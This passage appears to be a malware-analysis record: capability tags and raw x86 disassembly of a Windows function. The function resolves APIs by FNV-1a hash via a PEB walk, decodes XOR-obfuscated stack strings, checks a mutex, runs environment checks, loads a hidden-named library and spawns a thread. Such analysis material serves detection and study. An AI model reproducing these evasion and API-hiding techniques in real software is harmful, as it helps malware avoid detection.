Function at 0x483480
Capabilities:
Access peb ldr_data
Authenticate hmac
Check mutex on windows
Contain obfuscated stackstrings
Create directory
Create thread
Delete file
Encode data using base64
Encode data using xor
Get common file path
Get number of processors
Hash data using fnv
Resolve function by fnv-1a hash
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x533052
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x630
push ebx
push esi
push edi
mov dword [ebp - 0x30], 0
push dword [0x56dbcc]
call fcn.005020ec
add esp, 4
mov ecx, 0x56dbbc
call fcn.0040ba70
mov edi, eax
lea eax, [edi + 1]
mov cl, byte [edi]
inc edi
test cl, cl
jne 0x4834c5
mov ecx, 0x56dbbc
sub edi, eax
call fcn.0040ba70
mov esi, eax
lea eax, [ebp - 0x1f8]
mov ecx, eax
mov dword [ebp - 0x18], eax
call fcn.0040bbc0
mov dword [ebp - 4], 1
lea ecx, [ebp - 0x1f8]
push edi
push esi
call fcn.0040bb00
mov dword [ebp - 4], 2
mov ecx, 0x56dbbc
call fcn.0040b870
lea eax, [ebp - 0x1f8]
mov ecx, 0x56dbbc
push eax
call fcn.0040ba40
mov dword [ebp - 4], 3
lea ecx, [ebp - 0x1f8]
call fcn.0040b870
mov dword [ebp - 4], 0xffffffff
lea eax, [ebp - 0x1f8]
mov dword [ebp - 0x1c], eax
mov dword [ebp - 4], 0xffffffff
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x20], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
mov ecx, dword [ecx + esi + 0x7c]
mov dword [ebp - 0x24], ecx
mov dword [ebp - 0x28], edx
lea ecx, [esi + edx]
mov dword [ebp - 0x14], ecx
cmp ecx, esi
je 0x4835c4
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x4835c4
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x4835bd
nop word [eax + eax]
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x4835a0
cmp esi, 0x6dd8a845
je 0x4835c8
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x483585
mov eax, dword [eax]
jmp 0x483555
mov eax, dword [ebp - 0x14]
mov edx, dword [ebp - 0x20]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
add eax, edx
call eax
mov ecx, dword fs:[0x30]
mov dword [ebp - 0x5c], eax
mov ecx, dword [ecx + 0xc]
mov ecx, dword [ecx + 0xc]
mov ebx, dword [ecx + 0x18]
mov dword [ebp - 0x20], ebx
mov edx, dword [ebx + 0x3c]
mov esi, dword [edx + ebx + 0x78]
mov eax, dword [edx + ebx + 0x7c]
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x28], esi
lea eax, [ebx + esi]
mov dword [ebp - 0x14], eax
cmp eax, ebx
je 0x483664
mov edi, dword [eax + 0x18]
test edi, edi
je 0x483664
mov eax, dword [eax + 0x20]
lea ebx, [eax + edi*4]
mov eax, dword [ecx + 0x18]
add ebx, eax
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, eax
dec edi
mov esi, 0x811c9dc5
mov al, byte [edx]
inc edx
test al, al
je 0x48365d
nop dword [eax + eax]
movsx eax, al
lea edx, [edx + 1]
xor eax, esi
imul esi, eax, 0x1000193
mov al, byte [edx - 1]
test al, al
jne 0x483640
cmp esi, 0x60993b9d
je 0x483668
mov eax, dword [ecx + 0x18]
test edi, edi
jne 0x483626
mov ecx, dword [ecx]
jmp 0x4835f3
mov eax, dword [ebp - 0x14]
mov edx, dword [ebp - 0x20]
push 0x8000
push dword [ebp - 0x5c]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
add eax, edx
call eax
push method.std::basic_streambuf_char__struct_std::char_traits_char__.virtual_12
call dword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov edi, dword [0x56db44]
mov esi, dword [0x56db40]
push 0
push 2
push edi
push esi
call fcn.00521a70
mov ebx, dword [0x56db48]
sub ebx, eax
mov eax, dword [0x56db4c]
mov ecx, ebx
sbb eax, edx
xor ecx, esi
mov dword [ebp - 0x10], eax
xor eax, edi
or ecx, eax
je 0x4836da
add esi, ebx
mov dword [0x56db40], esi
adc edi, dword [ebp - 0x10]
mov dword [0x56db44], edi
test edi, edi
jl 0x4836ff
jg 0x4836e8
cmp esi, 0x186a0
jbe 0x4836ff
xorps xmm0, xmm0
movlpd qword [0x56db40], xmm0
mov edi, dword [0x56db44]
mov esi, dword [0x56db40]
push 0
push 2
push edi
push esi
call fcn.00521a70
sub ebx, eax
mov eax, dword [ebp - 0x10]
mov ecx, ebx
mov dword [0x56db48], ebx
sbb eax, edx
xor ecx, esi
mov dword [ebp - 0x10], eax
mov dword [0x56db4c], eax
xor eax, edi
or ecx, eax
je 0x48373a
add esi, ebx
mov dword [0x56db40], esi
adc edi, dword [ebp - 0x10]
mov dword [0x56db44], edi
test edi, edi
jl 0x483753
jg 0x483748
cmp esi, 0x186a0
jbe 0x483753
xorps xmm0, xmm0
movlpd qword [0x56db40], xmm0
push 0
call fcn.0050a4bb
push eax
call fcn.005020ec
add esp, 8
call fcn.00411d60
mov eax, dword [0x56db40]
mov esi, 0xf
xor dword [0x56db48], eax
mov eax, dword [0x56db44]
xor dword [0x56db4c], eax
xor edx, edx
mov byte [ebp - 0x6b], 0x84
mov byte [ebp - 0x6a], 0x83
mov byte [ebp - 0x69], 0x88
mov byte [ebp - 0x68], 0x6c
mov byte [ebp - 0x67], 9
mov al, byte [ebp - 0x6b]
mov dword [ebp - 0x10], edx
nop
mov bl, byte [ebp + edx - 0x6b]
mov ecx, edx
and ecx, esi
mov eax, 0x869892fd
cmp ecx, esi
mov edx, 0xc2b6c60e
cmovae ecx, esi
shl ecx, 2
call fcn.00521900
mov edx, dword [ebp - 0x10]
and al, 0xf
lea ecx, [edx - 3]
xor al, cl
xor al, bl
mov byte [ebp + edx - 0x6b], al
inc edx
mov dword [ebp - 0x10], edx
cmp edx, 5
jb 0x4837a0
push 0
lea eax, [ebp - 0x6b]
mov ecx, 0x56dc04
push eax
call fcn.0048a150
test eax, eax
jne 0x4838a6
call fcn.00423140
test al, al
je 0x4838a1
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop dword [eax]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x20], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
mov ecx, dword [ecx + esi + 0x7c]
mov dword [ebp - 0x24], ecx
mov dword [ebp - 0x28], edx
lea ecx, [esi + edx]
mov dword [ebp - 0x14], ecx
cmp ecx, esi
je 0x483879
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x483879
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x483872
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x483855
cmp esi, 0xe80fd3a
je 0x48387d
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x483840
mov eax, dword [eax]
jmp 0x483810
mov eax, dword [ebp - 0x14]
mov edx, dword [ebp - 0x20]
push 0
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
add eax, edx
call eax
mov esi, 0xf
jmp 0x4838a6
call fcn.00423300
call fcn.00411d60
mov eax, dword [0x56db40]
xor dword [0x56db48], eax
mov eax, dword [0x56db44]
xor dword [0x56db4c], eax
xor edx, edx
mov byte [ebp - 0x70], 0x84
mov byte [ebp - 0x6f], 0x83
mov byte [ebp - 0x6e], 0x88
mov byte [ebp - 0x6d], 0x6c
mov byte [ebp - 0x6c], 9
mov al, byte [ebp - 0x70]
mov dword [ebp - 0x10], edx
nop dword [eax]
mov bl, byte [ebp + edx - 0x70]
mov ecx, edx
and ecx, 0xf
mov eax, 0x869892fd
cmp ecx, 0xf
mov edx, 0xc2b6c60e
cmovae ecx, esi
shl ecx, 2
call fcn.00521900
mov edx, dword [ebp - 0x10]
and al, 0xf
lea ecx, [edx - 3]
xor al, cl
xor al, bl
mov byte [ebp + edx - 0x70], al
inc edx
mov dword [ebp - 0x10], edx
cmp edx, 5
jb 0x4838e0
push 0
lea eax, [ebp - 0x70]
mov ecx, 0x56dba4
push eax
call fcn.0048a150
test eax, eax
jne 0x4839ff
call fcn.00423340
mov bl, al
call fcn.00423420
mov bh, al
call fcn.004238c0
test bl, bl
jne 0x48395e
test bh, bh
jne 0x48395e
test al, al
jne 0x48395e
call fcn.00423180
test al, al
je 0x4839ff
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop word [eax + eax]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x20], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
mov ecx, dword [ecx + esi + 0x7c]
mov dword [ebp - 0x24], ecx
mov dword [ebp - 0x28], edx
lea ecx, [edx + esi]
mov dword [ebp - 0x14], ecx
cmp ecx, esi
je 0x4839d9
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x4839d9
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x4839d2
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x4839b5
cmp esi, 0xe80fd3a
je 0x4839dd
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x4839a0
mov eax, dword [eax]
jmp 0x483970
mov eax, dword [ebp - 0x14]
mov edx, dword [ebp - 0x20]
push 0
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
add eax, edx
call eax
mov esi, 0xf
mov byte [ebp - 0x75], 0x84
xor edx, edx
mov byte [ebp - 0x74], 0x83
mov byte [ebp - 0x73], 0x88
mov byte [ebp - 0x72], 0x6c
mov byte [ebp - 0x71], 9
mov al, byte [ebp - 0x75]
mov dword [ebp - 0x10], edx
nop dword [eax + eax]
mov bl, byte [ebp + edx - 0x75]
mov ecx, edx
and ecx, 0xf
mov eax, 0x869892fd
cmp ecx, 0xf
mov edx, 0xc2b6c60e
cmovae ecx, esi
shl ecx, 2
call fcn.00521900
mov edx, dword [ebp - 0x10]
and al, 0xf
lea ecx, [edx - 3]
xor al, cl
xor al, bl
mov byte [ebp + edx - 0x75], al
inc edx
mov dword [ebp - 0x10], edx
cmp edx, 5
jb 0x483a20
push 0
lea eax, [ebp - 0x75]
mov ecx, 0x56dcac
push eax
call fcn.0048a150
test eax, eax
jne 0x483a76
lea ecx, [eax + 1]
call fcn.00423b60
mov byte [ebp - 0x66], 0x84
xor edx, edx
mov byte [ebp - 0x65], 0x83
mov byte [ebp - 0x64], 0x88
mov byte [ebp - 0x63], 0x6c
mov byte [ebp - 0x62], 9
mov al, byte [ebp - 0x66]
mov dword [ebp - 0x10], edx
mov bl, byte [ebp + edx - 0x66]
mov ecx, edx
and ecx, 0xf
mov eax, 0x869892fd
cmp ecx, 0xf
mov edx, 0xc2b6c60e
cmovae ecx, esi
shl ecx, 2
call fcn.00521900
mov edx, dword [ebp - 0x10]
and al, 0xf
lea ecx, [edx - 3]
xor al, cl
xor al, bl
mov byte [ebp + edx - 0x66], al
inc edx
mov dword [ebp - 0x10], edx
cmp edx, 5
jb 0x483a92
push 0
lea eax, [ebp - 0x66]
mov ecx, 0x56dc94
push eax
call fcn.0048a150
test eax, eax
jne 0x483ae5
call fcn.00427e90
mov byte [ebp - 0x7a], 0x84
xor edx, edx
mov byte [ebp - 0x79], 0x83
mov byte [ebp - 0x78], 0x88
mov byte [ebp - 0x77], 0x6c
mov byte [ebp - 0x76], 9
mov al, byte [ebp - 0x7a]
mov dword [ebp - 0x10], edx
mov bl, byte [ebp + edx - 0x7a]
mov ecx, edx
and ecx, 0xf
mov eax, 0x869892fd
cmp ecx, 0xf
mov edx, 0xc2b6c60e
cmovae ecx, esi
shl ecx, 2
call fcn.00521900
mov edx, dword [ebp - 0x10]
and al, 0xf
lea ecx, [edx - 3]
xor al, cl
xor al, bl
mov byte [ebp + edx - 0x7a], al
inc edx
mov dword [ebp - 0x10], edx
cmp edx, 5
jb 0x483b01
push 0
lea eax, [ebp - 0x7a]
mov ecx, 0x56dc34
push eax
call fcn.0048a150
mov esi, dword [0x56db44]
test eax, eax
mov edi, dword [0x56db40]
push 0
push 2
push esi
push edi
sete byte [ebp - 0x29]
call fcn.00521a70
mov ebx, dword [0x56db48]
sub ebx, eax
mov eax, dword [0x56db4c]
mov ecx, ebx
mov dword [0x56db48], ebx
sbb eax, edx
xor ecx, edi
mov dword [ebp - 0x14], eax
mov dword [0x56db4c], eax
xor eax, esi
or ecx, eax
je 0x483ba0
add edi, ebx
mov dword [0x56db40], edi
adc esi, dword [ebp - 0x14]
mov dword [0x56db44], esi
test esi, esi
jl 0x483bb9
jg 0x483bae
cmp edi, 0x186a0
jbe 0x483bb9
xorps xmm0, xmm0
movlpd qword [0x56db40], xmm0
mov byte [ebp - 0x124], 0xf7
xor edx, edx
mov byte [ebp - 0x123], 0xf1
mov esi, 0xf
mov byte [ebp - 0x122], 0xf4
mov byte [ebp - 0x121], 0xf7
mov byte [ebp - 0x120], 0xea
mov byte [ebp - 0x11f], 0xe6
mov byte [ebp - 0x11e], 0xed
mov byte [ebp - 0x11d], 0xb0
mov byte [ebp - 0x11c], 0xf9
mov byte [ebp - 0x11b], 0xf5
mov byte [ebp - 0x11a], 0xfa
mov byte [ebp - 0x119], 0x9a
mov al, byte [ebp - 0x124]
mov dword [ebp - 0x10], edx
nop dword [eax]
mov bl, byte [ebp + edx - 0x124]
mov ecx, edx
and ecx, esi
mov eax, 0x886ddb8f
cmp ecx, esi
mov edx, 0x7d980f1a
cmovae ecx, esi
shl ecx, 2
call fcn.00521900
mov edx, dword [ebp - 0x10]
and al, 0xf
lea ecx, [edx - 0x71]
xor al, cl
xor al, bl
mov byte [ebp + edx - 0x124], al
inc edx
mov dword [ebp - 0x10], edx
cmp edx, 0xc
jb 0x483c20
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop word [eax + eax]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x20], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
mov ecx, dword [ecx + esi + 0x7c]
mov dword [ebp - 0x24], ecx
mov dword [ebp - 0x28], edx
lea ecx, [edx + esi]
mov dword [ebp - 0x14], ecx
cmp ecx, esi
je 0x483cd9
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x483cd9
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x483cd2
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x483cb5
cmp esi, 0x53b2070f
je 0x483cdd
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x483ca0
mov eax, dword [eax]
jmp 0x483c70
mov eax, dword [ebp - 0x14]
mov edx, dword [ebp - 0x20]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
lea ecx, [ebp - 0x124]
add eax, edx
push ecx
call eax
test eax, eax
jne 0x483d16
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x10
mov byte [ebp - 0x130], 0xd7
xor edx, edx
mov byte [ebp - 0x12f], 0xd1
mov edi, 0xf
mov byte [ebp - 0x12e], 0xd4
mov byte [ebp - 0x12d], 0xd6
mov byte [ebp - 0x12c], 0xd0
mov byte [ebp - 0x12b], 0xd7
mov byte [ebp - 0x12a], 0xc9
mov byte [ebp - 0x129], 0xb0
mov byte [ebp - 0x128], 0xd9
mov byte [ebp - 0x127], 0xd5
mov byte [ebp - 0x126], 0xda
mov byte [ebp - 0x125], 0x9a
mov al, byte [ebp - 0x130]
mov dword [ebp - 0x10], edx
nop word [eax + eax]
mov bl, byte [ebp + edx - 0x130]
mov ecx, edx
and ecx, edi
mov eax, 0x886ddb8f
cmp ecx, edi
mov edx, 0x7d980f1a
cmovae ecx, edi
shl ecx, 2
call fcn.00521900
mov edx, dword [ebp - 0x10]
and al, 0xf
lea ecx, [edx - 0x71]
xor al, cl
xor al, bl
mov byte [ebp + edx - 0x130], al
inc edx
mov dword [ebp - 0x10], edx
cmp edx, 0xc
jb 0x483d80
lea eax, [ebp - 0x130]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov ecx, eax
call fcn.004a82c0
call fcn.004e7120
push 0
push 0
push 0
push 0x42fc00
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [0x56db3c], 0xffffffff
jne 0x483eac
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop dword [eax]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x20], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
mov ecx, dword [ecx + esi + 0x7c]
mov dword [ebp - 0x24], ecx
mov dword [ebp - 0x28], edx
lea ecx, [edx + esi]
mov dword [ebp - 0x14], ecx
cmp ecx, esi
je 0x483e79
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x483e79
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x483e72
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x483e55
cmp esi, 0x2fa62ca8
je 0x483e7d
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x483e40
mov eax, dword [eax]
jmp 0x483e10
mov eax, dword [ebp - 0x14]
mov edx, dword [ebp - 0x20]
push 1
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
add eax, edx
call eax
cmp dword [0x56db3c], 0xffffffff
je 0x483e00
mov edi, 0xf
mov ecx, 0x104
lea eax, [ebp - 0x63c]
mov byte [eax], 0
lea eax, [eax + 1]
sub ecx, 1
jne 0x483eb7
lea eax, [ebp - 0x63c]
push eax
push 0xfc
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
call fcn.00411d60
mov eax, dword [0x56db40]
lea ecx, [ebp - 0x288]
xor dword [0x56db48], eax
mov edx, 0xd
mov eax, dword [0x56db44]
xor dword [0x56db4c], eax
call fcn.004159b0
mov dword [ebp - 4], 6
xor edx, edx
mov byte [ebp - 0xab], 0x37
mov byte [ebp - 0xaa], 0x29
mov byte [ebp - 0xa9], 0x3b
mov byte [ebp - 0xa8], 0xb
mov byte [ebp - 0xa7], 0
mov byte [ebp - 0xa6], 0x35
mov byte [ebp - 0xa5], 0x23
mov byte [ebp - 0xa4], 0x24
mov byte [ebp - 0xa3], 0x6c
mov al, byte [ebp - 0xab]
mov dword [ebp - 0x10], edx
mov bl, byte [ebp + edx - 0xab]
mov ecx, edx
and ecx, 0xf
mov eax, 0x1925555d
cmp ecx, 0xf
mov edx, 0x83349529
cmovae ecx, edi
shl ecx, 2
call fcn.00521900
mov edx, dword [ebp - 0x10]
and al, 0xf
lea ecx, [edx + 0x5d]
xor al, cl
xor al, bl
mov byte [ebp + edx - 0xab], al
inc edx
mov dword [ebp - 0x10], edx
cmp edx, 9
jb 0x483f50
lea eax, [ebp - 0x210]
mov ecx, eax
mov dword [ebp - 0x18], eax
call fcn.0040bbc0
mov byte [ebp - 4], 8
lea ecx, [ebp - 0xab]
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x483fb0
sub ecx, edx
lea eax, [ebp - 0xab]
push ecx
push eax
lea ecx, [ebp - 0x210]
call fcn.0040bb00
mov byte [ebp - 4], 0xa
lea ecx, [ebp - 0x63c]
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x483fe0
sub ecx, edx
lea eax, [ebp - 0x63c]
push ecx
push eax
push 0
lea ecx, [ebp - 0x210]
call fcn.00493d50
push eax
lea ecx, [ebp - 0x2d8]
call fcn.0040b700
mov dword [ebp - 0x30], 1
mov byte [ebp - 4], 0xb
lea eax, [ebp - 0x288]
push eax
lea ecx, [ebp - 0x2d8]
call fcn.0048a4f0
push eax
lea ecx, [ebp - 0x2c0]
call fcn.0040b700
mov ecx, 0x56db8c
mov dword [ebp - 0x30], 3
call fcn.0040b870
lea eax, [ebp - 0x2c0]
mov ecx, 0x56db8c
push eax
call fcn.0040ba40
mov esi, 3
mov dword [ebp - 0x30], esi
and esi, 0xfffffffd
mov dword [ebp - 0x30], esi
mov byte [ebp - 4], 0xc
lea ecx, [ebp - 0x2c0]
call fcn.0040b870
mov byte [ebp - 4], 0xa
lea eax, [ebp - 0x2c0]
mov dword [ebp - 0x18], eax
mov byte [ebp - 4], 0xa
and esi, 0xfffffffe
mov dword [ebp - 0x30], esi
mov byte [ebp - 4], 0xf
lea ecx, [ebp - 0x2d8]
call fcn.0040b870
mov byte [ebp - 4], 9
lea eax, [ebp - 0x2d8]
mov dword [ebp - 0x1c], eax
mov byte [ebp - 4], 0x12
lea ecx, [ebp - 0x210]
call fcn.0040b870
mov byte [ebp - 4], 6
lea eax, [ebp - 0x210]
mov dword [ebp - 0x14], eax
mov byte [ebp - 4], 6
xor edx, edx
mov byte [ebp - 0xce], 0x70
mov byte [ebp - 0xcd], 0x67
mov byte [ebp - 0xcc], 0x7e
mov byte [ebp - 0xcb], 0x7f
mov byte [ebp - 0xca], 0x63
mov byte [ebp - 0xc9], 0x7f
mov byte [ebp - 0xc8], 0x41
mov byte [ebp - 0xc7], 0x60
mov byte [ebp - 0xc6], 0x7d
mov byte [ebp - 0xc5], 0x1d
mov al, byte [ebp - 0xce]
mov dword [ebp - 0x10], edx
nop word [eax + eax]
mov bl, byte [ebp + edx - 0xce]
mov ecx, edx
and ecx, 0xf
mov eax, 0x1e1d1407
cmp ecx, 0xf
mov edx, 0x43f150da
cmovae ecx, edi
shl ecx, 2
call fcn.00521900
mov edx, dword [ebp - 0x10]
and al, 0xf
lea ecx, [edx + 7]
xor al, cl
xor al, bl
mov byte [ebp + edx - 0xce], al
inc edx
mov dword [ebp - 0x10], edx
cmp edx, 0xa
jb 0x484120
lea eax, [ebp - 0x228]
mov ecx, eax
mov dword [ebp - 0x18], eax
call fcn.0040bbc0
mov byte [ebp - 4], 0x16
lea ecx, [ebp - 0xce]
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x484180
sub ecx, edx
lea eax, [ebp - 0xce]
push ecx
push eax
lea ecx, [ebp - 0x228]
call fcn.0040bb00
mov byte [ebp - 4], 0x18
lea ecx, [ebp - 0x63c]
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4841b0
sub ecx, edx
lea eax, [ebp - 0x63c]
push ecx
push eax
push 0
lea ecx, [ebp - 0x228]
call fcn.00493d50
push eax
lea ecx, [ebp - 0x2f0]
call fcn.0040b700
mov esi, dword [ebp - 0x30]
lea eax, [ebp - 0x288]
or esi, 4
lea edx, [ebp - 0x2f0]
push eax
lea ecx, [ebp - 0x1c8]
mov dword [ebp - 0x30], esi
call fcn.0048ed80
add esp, 4
mov byte [ebp - 4], 0x19
and esi, 0xfffffffb
mov dword [ebp - 0x30], esi
mov byte [ebp - 4], 0x1b
lea ecx, [ebp - 0x2f0]
call fcn.0040b870
mov byte [ebp - 4], 0x1a
lea eax, [ebp - 0x2f0]
mov dword [ebp - 0x18], eax
mov byte [ebp - 4], 0x1f
lea ecx, [ebp - 0x228]
call fcn.0040b870
mov byte [ebp - 4], 0x1e
lea eax, [ebp - 0x228]
mov dword [ebp - 0x1c], eax
mov byte [ebp - 4], 0x1e
mov ecx, 0x56db8c
call fcn.0040ba70
mov ecx, eax
call fcn.00415310
test al, al
je 0x48426a
push 0
mov dl, 1
mov ecx, 0x56db8c
call fcn.00415360
add esp, 4
lea ecx, [ebp - 0x1c8]
call fcn.0040ba70
mov ecx, eax
call fcn.00415310
test al, al
je 0x484292
push 0
mov dl, 1
lea ecx, [ebp - 0x1c8]
call fcn.00415360
add esp, 4
push 0
mov ecx, 0x56db8c
call fcn.0040ba70
mov esi, dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
push eax
call esi
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
test eax, eax
jne 0x4842c3
mov ecx, 0x56db8c
call fcn.00425a70
test al, al
je 0x486cf8
push 0
lea ecx, [ebp - 0x1c8]
call fcn.0040ba70
push eax
call esi
test eax, eax
jne 0x48434c
mov esi, dword [0x56db44]
mov edi, dword [0x56db40]
push eax
push 2
push esi
push edi
call fcn.00521a70
mov ebx, dword [0x56db48]
sub ebx, eax
mov eax, dword [0x56db4c]
mov ecx, ebx
mov dword [0x56db48], ebx
sbb eax, edx
xor ecx, edi
mov dword [ebp - 0x14], eax
mov edx, eax
mov dword [0x56db4c], eax
mov eax, esi
xor eax, edx
or ecx, eax
je 0x484328
add edi, ebx
mov dword [0x56db40], edi
adc esi, edx
mov dword [0x56db44], esi
test esi, esi
jl 0x484341
jg 0x484336
cmp edi, 0x186a0
jbe 0x484341
xorps xmm0, xmm0
movlpd qword [0x56db40], xmm0
lea ecx, [ebp - 0x1c8]
call fcn.00425a70
lea ecx, [ebp - 0x1c8]
call fcn.0040ba70
mov ecx, dword fs:[0x30]
mov dword [ebp - 0x5c], eax
mov ecx, dword [ecx + 0xc]
mov ecx, dword [ecx + 0xc]
mov ebx, dword [ecx + 0x18]
mov dword [ebp - 0x20], ebx
mov edx, dword [ebx + 0x3c]
mov esi, dword [edx + ebx + 0x78]
mov eax, dword [edx + ebx + 0x7c]
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x28], esi
lea eax, [esi + ebx]
mov dword [ebp - 0x14], eax
cmp eax, ebx
je 0x4843d9
mov edi, dword [eax + 0x18]
test edi, edi
je 0x4843d9
mov eax, dword [eax + 0x20]
lea ebx, [eax + edi*4]
mov eax, dword [ecx + 0x18]
add ebx, eax
nop word [eax + eax]
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, eax
dec edi
mov esi, 0x811c9dc5
mov al, byte [edx]
inc edx
test al, al
je 0x4843d2
movsx eax, al
lea edx, [edx + 1]
xor eax, esi
imul esi, eax, 0x1000193
mov al, byte [edx - 1]
test al, al
jne 0x4843b5
cmp esi, 0x7a5b9fa2
je 0x4843dd
mov eax, dword [ecx + 0x18]
test edi, edi
jne 0x4843a0
mov ecx, dword [ecx]
jmp 0x484367
mov eax, dword [ebp - 0x14]
mov edx, dword [ebp - 0x20]
push dword [ebp - 0x5c]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
add eax, edx
call eax
lea eax, [ebp - 0x1c8]
mov ecx, 0x56dc1c
push eax
call fcn.0048a510
call fcn.00425d30
test al, al
je 0x484649
cmp byte [ebp - 0x29], 0
jne 0x484649
mov byte [ebp - 0xd7], 0x23
xor edx, edx
mov byte [ebp - 0xd6], 0x2b
mov esi, 0xf
mov byte [ebp - 0xd5], 0x3b
mov byte [ebp - 0xd4], 0x17
mov byte [ebp - 0xd3], 0xf
mov byte [ebp - 0xd2], 0xd
mov byte [ebp - 0xd1], 5
mov byte [ebp - 0xd0], 1
mov byte [ebp - 0xcf], 0x6c
mov al, byte [ebp - 0xd7]
mov dword [ebp - 0x10], edx
mov bl, byte [ebp + edx - 0xd7]
mov ecx, edx
and ecx, esi
mov eax, 0x1925555d
cmp ecx, esi
mov edx, 0x83349529
cmovae ecx, esi
shl ecx, 2
call fcn.00521900
mov edx, dword [ebp - 0x10]
and al, 0xf
lea ecx, [edx + 0x5d]
xor al, cl
xor al, bl
mov byte [ebp + edx - 0xd7], al
inc edx
